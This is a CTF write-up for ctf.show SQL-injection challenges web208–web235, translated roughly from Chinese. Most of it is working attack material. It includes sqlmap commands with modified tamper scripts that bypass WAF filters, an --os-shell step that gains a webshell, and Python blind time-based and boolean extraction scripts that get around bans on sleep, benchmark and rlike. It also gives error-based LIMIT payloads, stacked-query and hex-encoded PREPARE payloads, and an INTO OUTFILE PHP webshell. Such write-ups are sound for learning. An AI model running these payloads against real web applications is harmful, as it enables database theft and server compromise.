sqlmap -u http://36df1ef4-f736-43c6-b212-24cc8b77203f.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://36df1ef4-f736-43c6-b212-24cc8b77203f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://36df1ef4-f736-43c6-b212-24cc8b77203f.challenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump

web208

Return logic

//The passed in parameters are filtered
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }
      

Replace select with empty and bypass spaces

If you want to use the script above to replace the blank space with select, double case bypass or case bypass

Then I found the uppercase select used by sqlmap when running...

So it's still the script of the previous question, but the column and table names have been changed

sqlmap -u http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump

web209

//The passed in parameters are filtered
  function waf($str){
   //TODO not completed
   return preg_match('/ |\*|\=/', $str);
  }
      

Filter spaces * = where spaces can be bypassed with% 09, and then = like

Here you need to modify the script

Under / usr/share/sqlmap/tamper /, copy a space2comment Py, change the name to web209 py

The figure below is the original

Change to the following

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal

Then you can use this script, and pay attention to the old things

-D ctfshow_web -T ctfshow_flav -C ctfshow_flagx
sqlmap -u http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.show/sqlmap.php --tamper=web209.py --threads=3 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump

Because he said that my thread was low, he mentioned the thread by the way

web210-212

Return logic

//Decrypt query characters
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
      

base64 decodes the id, inverts the string, decodes, and then inverts

Well, to continue using the exp just now, just add the reverse operation above at the end, that is

base64.b64encode(base64.b64encode(payload_ret[::-1].encode()).decode()[::-1].encode()).decode()

Then change to web210 py

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]
    payload_ret = retVal
    retVal = base64.b64encode(base64.b64encode(payload_ret[::-1].encode()).decode()[::-1].encode()).decode()

    return retVal

Everything else remains the same, but the old things have changed again. In short, the payload of web210 is as follows

sqlmap -u http://d89fa806-8595-4b7d-99fa-fbee60b83efb.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://d89fa806-8595-4b7d-99fa-fbee60b83efb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://d89fa806-8595-4b7d-99fa-fbee60b83efb.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump

Then I found that almost one payload can be used for these three questions

web211 just filters the white space on the basis of the previous one, and then the old thing becomes - D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

web211

sqlmap -u http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

web212 filtering *, as I said before, this is useless

web212

sqlmap -u http://1ae3935c-31f0-4a16-8d22-a3aa81418707.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://1ae3935c-31f0-4a16-8d22-a3aa81418707.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://1ae3935c-31f0-4a16-8d22-a3aa81418707.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump

web213

Topic: practice using - OS shell one click getshell

The principle is that the into outfile function writes a file that can be uploaded to the root directory of the website. Then one file is command execution, and the other is file upload

In mysql, secure_ file_ The priv parameter controls the import and export permission. If the parameter is null, it means that import and export are not allowed; If it is a folder, it means that it can only be imported and exported in this folder; If the parameter is blank, that is, there is no value, it means that it can be imported and exported in any folder

Use web210 Try py

test

sqlmap -u http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 --os-shell

It's a choice, family

Since we are php target, enter 4 here and enter. The last one defaults to y

Directory 1

Get the shell

At this point, you can find two more tmp files

It can be found that one of them is executed by the command

The other is for file upload

In short, cat /ctfshow_flag

web214

sqlmap finished successfully and learned a lot. Now it's time blind, which is inseparable from scripting

¿¿¿¿¿¿¿

Then find the injection point, which can be determined in / API / index PHP, but I don't know how to do it

Love is too laggy. I opened the bp I didn't like to open because my computer opened the card.

Then tnnd got MC1 last time 18.1 downloaded java17 and I used the ancestral bp2020 2 can't open vuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvuvu

OK, it's done. Changed a bp2021 9

Then I found that I couldn't find the injection point. I looked at master feng's wp and said that the injection point was / API / index PHP POST sends ip and debug...

If you want to know here, you can only look at the network request.

Here is the standard time blind note. Question 175 has been written. You can modify it again

import time
import requests
url = 'http://fbc47c9a-559c-4e8d-87ff-8a73242bdfab.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')"   # Note table name
                   ,'debug':0}

        start_time = time.time()
        r = requests.post(url=url,data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j
#Note listing
f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')"

#Burst field
f"if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(0.5),1)"

web215

Query statement: single quotation marks are used

Isn't that the blind injection at 175 before the standard and then make a small change

For the one above, add 'or' in front and 'or' in back#

as follows

import time
import requests
url = 'http://017862d1-440d-44e3-86de-45412b68b8cd.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.5),1)#"
                   ,'debug':0}

        start_time = time.time()
        r = requests.post(url=url,data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j

Of course, there is another judgment method, that is, directly set the timeout, so that after this time, you can directly run to the next one. The change method is as follows:

import requests
url = 'http://017862d1-440d-44e3-86de-45412b68b8cd.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.3),1)#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.29)
            min = j
        except:
            max = j

web216

 where id = from_base64($id);

Close this base64 to decode

import requests
url = 'http://cce5695a-4187-4c62-9e84-e684dbfa8fbb.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1))<{j},sleep(0.3),1)#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.29)
            min = j
        except:
            max = j

web217

 where id = ($id);

Return logic

    //Shield dangerous molecules
    function waf($str){
        return preg_match('/sleep/i',$str);
    }   
      

After filtering sleep, try Baidu mysql, which is similar to sleep function and MySQL sleep function. Baidu is not famous. Look at wp and find that a function called benchmark is used

MySQL has a built-in BENCHMARK() function, which can test the execution speed of some specific operations. Parameters can be the number of times and expressions to be executed. The expression can be any scalar expression, such as a subquery or function whose return value is scalar. This function can easily test the performance of some specific operations

What do you mean? Look at this picture

The time to run md5 once is too short, but the benchmark is the time calculated by running md5 114514 1145140 times

It is worth noting that time refers to the elapsed time of the client, not the CPU time on the server.

Therefore, the injection is related to the server and network speed

Therefore, in order to prevent flag errors caused by the impact of injection time, sleep is specially set here

import time
import requests
url = 'http://89b2740e-6baf-48a7-bb82-2929453976d5.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))<{j},benchmark(1145140,md5(2333)),'False')#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.5)
            min = j
        except:
            max = j
        time.sleep(0.3)
    time.sleep(0.8)

But even for this payload, I still took six notes to get the intersection before handing it in. The cuttlefish roe

web218

Query statement

       where id = ($id);

Return logic

    //Shield dangerous molecules
    function waf($str){
        return preg_match('/sleep|benchmark/i',$str);
    }   
      

The ultimate prediction belongs to yes

After checking, I found that someone had written it. Refer to the article https://www.cnblogs.com/forforever/p/13019703.html

1.sleep

2.benchmark

3. Cartesian product

4.GET_ Lock

5.RLIKE REGEXP regular matching

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
Equivalent to sleep(5)

After reading it, I found that I seemed to read the same article as master feng.... Try the last one

God, it took n times to hand it in, Ma Mazi

import time
import requests
url = 'http://3471a536-3547-4d4b-93c6-06020fab5ffe.challenge.ctf.show/api/index.php'
flag = ''
sleep_rep = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"

for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))<{j},{sleep_rep},'False')#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.5)
            min = j
        except:
            max = j
        time.sleep(0.2)

web219

Return logic

    //Shield dangerous molecules
    function waf($str){
        return preg_match('/sleep|benchmark|rlike/i',$str);
    }   
      

Ah, this is my rlike

Well, let's start with the Cartesian product

import requests
import time
url='http://f6ad04f0-3fd9-4eb9-9dc9-78cfaa9f5000.challenge.ctf.show/api/index.php'

flag=''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        # payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
        # payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"

        data={
            'ip':payload,
            'debug':0
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.15)
            min=j
        except:
            max=j
        time.sleep(0.1)

web220

Time blind end! What a torture!!

Return logic

    //Shield dangerous molecules
    function waf($str){
        return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
    }   
      

You can notice that ascii and substr are filtered. As mentioned earlier, like can be used

Continue Cartesian product

import requests
import time
url='http://fd9d2056-9452-448e-b2a6-aeb1c0dda361.challenge.ctf.show/api/index.php'
table = '0123456789abcdef-{},_"'
flag='ctfshow{'
for i in range(60):
    for j in table:
        payload = "if((select flagaabcc from ctfshow_flagxcac limit 0,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%")

        data={
            'ip':payload,
            'debug':0
        }
        try:
            r = requests.post(url=url, data=data, timeout=0.15)
        except:
            flag += j
            print(flag)
            break
        time.sleep(0.2)

web221

Description: limit injection

Query statement

  //Paging query
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
      

Return logic

//TODO: it's safe and doesn't need filtering
//If you get the database name, you win
      

Baidu look at usage

select * from tableName limit i,n
# tableName: table name
# i: Is the index value of the query result (starting from 0 by default). When i=0, I can be omitted
# n: Quantity returned for query results
# i and n are separated by an English comma ","

# 
limit n Equivalent to limit 0,n

Here you can see the article of God P https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

It says:

LIMIT can be followed by two functions, PROCEDURE and INTO. INTO cannot be used unless it has the permission to write to the shell. Can I inject using PROCEDURE function? Let’s give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

Analysis can have two parameters:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

It doesn't look good. Keep trying:

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

However, an error message was immediately returned:

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

The sleep function certainly didn't execute, but I finally found a way to attack:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

If error injection is not supported, it can also be injected based on time:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

You can't use sleep directly. You need to use BENCHMARK instead.

First, let's take a look at the parameters passed

GET http://47e30f87-1f8b-4cca-a35f-b4d1aa4049d5.challenge.ctf.show/api/?id=1&page=1&limit=10

Then pay attention to the attack mode above

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

With this statement, version() is successfully injected because error reporting is enabled here

This question also turns on error reporting, so you can also type it with this payload. Try it

There's nothing wrong with it. Then replace version() with database()

Get: {"code": 0, "msg": "\ u67e5\u8be2\u5931\u8d25XPATH syntax error: ': ctfshow_web_flag_x'," count ":" 0 "," data ": []}

url/api/index.php?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

Of course, since it is error injection, in addition to extractvalue, updatexml can also be used

url/api/index.php?page=1&limit=1 procedure analyse(updatexml(rand(),concat(0x3a,database()),1),1);

So the flag is ctfshow_web_flag_x. No need to wrap ctfshow{}

web222

group injection

Query statement

  //Paging query
  $sql = select * from ctfshow_user group by $username;
      

Return logic

//TODO: it's safe and doesn't need filtering
      

group by $username is dead here

Baidu has a look. group by has something to do with error reporting

Then I found that errors will be reported when using floor. You can see these two articles

https://www.secpulse.com/archives/140616.html

https://www.cnblogs.com/xdans/p/5412468.html

Well, back to this question, he will scan our $username in turn. In other words, this question gives a total of 21 IDs. If we pass this table, he will scan the 21 IDS line by line.

If we write the statement: 1,if(1=1,sleep(0.1),1), normally, it will pause for more than 2.1s

Therefore, this feature can be used to realize one wave time blind injection

import requests
import time
url='http://9f4a1dc4-86c8-4876-b732-f5ffd6be8114.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
        #payload=f"1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.02),1)"
        payload=f"1,if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.02),1)"

        try:
            r=requests.get(url=url+payload,timeout=0.4)
            min=j
        except:
            max=j
        time.sleep(0.2)

Then I tried concat(database(),floor(rand(0)*30)) here

If you can find something, can you use Boolean blind annotation. Besides, Boolean is faster than time

Finally, it is found that it is also feasible. The script is as follows

import requests
import time

url='http://60eb33c3-f99f-40ab-a612-d0085affb66a.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},username,id)"
        #payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},username,id)"
        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},username,id)"

        r=requests.get(url=url+payload).text
        #print(r.text)
        if len(r)<288:
            max=j
        else:
            min=j

web223

Query statement

group injection

  //Paging query
  $sql = select * from ctfshow_user group by $username;
      

Return logic

//TODO: it's safe and doesn't need filtering
//User name cannot be a number
      

It is still group injection, but the user name cannot be a number. It was written in web185 before. You can use true+true +... + true to represent numbers

web224

A login page that looks like a background login page

Robots found Txt with / pwdreset PHP is a password reset interface

Ah, reset a wave of admin admin, and then log in with admin admin. Is a file upload interface

Ah, the file cannot be too large, and if the type is wrong, file type error will be displayed

How does it feel that he won't pass anything

Then, the vip group has a payload Bin, pass it on to generate a Trojan horse, and then use the Trojan horse to get the flag

After looking at this bin, I found that there is a select 0x3c3f3d60245f47455b315d603f3e into outfile '/ var / www / HTML / 1 php’

So it's still into outfile and write it into the shell

Then 1 php? 1 = cat / flag is OK

Another thing is, why is filename zip here? Here read upload PHP look

<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){
		die("The file is too large: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
      if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
        die("file type error");
      }
	  $filepath = "upload/".$filename;
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");
		if (!$con)
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {
			header("location:filelist.php");
		} else {
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}
		 
		mysqli_close($con);
		
      }
    
?>

Excuse me, I can't understand.

web225

Stack Injection

Query statement

  //Paging query
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
      

Return logic

  //The master said that the more you filter, the better
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
  }
      

This is similar to the random note of the strong net cup, classic

There are three methods: Handler, preprocessing statement, rename and alter

Then alter is filtered here, so consider the first two

Then I found that the input box did not echo, so I went directly to the api

Use handler here

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE 
http://4f2e6389-ceba-4b51-935f-21a413ceef5b.challenge.ctf.show/api/?username=%27;show%20databases;#

Echo found, ctfshow echoed_ web

?username=';show tables;#

Get ctfshow_flagasa

?username=';show columns from ctfshow_flagasa;#

If you get flagas, you can actually read it directly

?username=';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

Strong net cup - casual note: https://blog.csdn.net/rfrder/article/details/108583338

web226

Stack Injection

Query statement

  //Paging query
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
      

Return logic

  //The master said that the more you filter, the better
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
  }
      

show is filtered here. Use preprocessing statements. Note that the left parenthesis of ban is missing, so hexadecimal is used to bypass it

';prepare a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute a;#

web227

Stack Injection to improve advanced difficulty

Query statement

  //Paging query
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
      

Return logic

  //The master said that the more you filter, the better
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
    die(json_encode($ret));
  }
      

No, look wp

information_schema.routines view stored procedures and functions

Stored Procedure is a database object that stores complex programs in a database for external programs to call.

Stored procedure is a set of SQL statements to complete specific functions. It is compiled, created and saved in the database. Users can call and execute it by specifying the name of the stored procedure and giving parameters (when necessary).

The idea of stored procedure is very simple, which is the code encapsulation and reuse at the level of database SQL language.

Use preprocessing first, because you need to query select * from information_schema.routines

api/index.php?username=';PREPARE a from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE a;

At this point, you can see the flag, and the flag is written to getFlag

Calling his method is'; call getFlag;

web228,229,230

The method is the same as 226

web228
?username=';PREPARE a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE a;

web229
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c6167;EXECUTE a;

web230
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE a;

web231

update injection

Query statement

  //Paging query
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      

You can see that here is not a query statement, but update

The injection point is the password and username of the api, both of which are passed to POST

Then let's POST a password=1 ', username = database() #& username = 1

Refresh the query interface and you will find that it has become ctfshow_web

name
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
 name
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
 field
password=1',username=(select flagas from flaga) where 1=1#&username=1

web232

//Paging query
  $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

Change the closure on the basis of 231

password=1 ')

password=1'),username=(select flagass from flagaa) where 1=1#&username=1

web233

update injection

Query statement

  //Paging query
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

Let me think about it. What's the difference between 231 and 231

Then hit it with 231, but it didn't work. After the test, it seems that there should be no filtering, and the title also says that there is no filtering. There is no way but to take the posture of blind injection

Then note that the query here is row by row, so the number of sleep times is the number of rows

import requests
import time

url='http://7cf24fdd-904d-48f6-81ac-0b88a27076ca.challenge.ctf.show/api/'

flag=''
for i in range(60):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)#"
        #payload=f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))<{j},sleep(0.02),1)#"
        payload=f"' or if(ascii(substr((select group_concat(flagass233) from flag233333),{i},1))<{j},sleep(0.02),1)#"

        data={
            'username': payload,
            'password':'1'}
        try:
            r=requests.post(url=url,data=data,timeout=0.35)
            min=j
        except:
            max=j

        time.sleep(0.3)

web234

update

//Paging query
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

Isn't this the same as the above? The filter also shows no filter (the group leader must be secretly on the blacklist)

Alas, the Masters said that the single quotation marks were filtered and can be bypassed by backslashes

If you write a backslash and password = \ then the above statement becomes

$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";

Alas, at this time, where username becomes a string, and where also loses its function, so it can be injected through username

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
>banlist,ctfshow_user,flag23a

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
Hexadecimal bypass because single quotes are filtered.>id,flagass23s3,info

password=\&username=,username=(select flagass23s3 from flag23a)#

web235

Query statement

  //Paging query
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      

Return logic

  //Filter or ' 

Finally become a person, right? Finally blacklisted

OK, keep using the above

Well, why didn't you succeed. Zhuo, and secretly filter

On the basis of or and ', information is also filtered_ schema

https://www.jb51.net/article/134678.htm

Use mysql innodb_ table_ Stats instead of information_schema. table_schema should be changed to database_name. The statement is

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
>banlist,ctfshow_user,flag23a1

Next, we need to use unlisted injection. I have to say that there are really many postures of masters.

https://www.cnblogs.com/GH-D/p/11962522.html

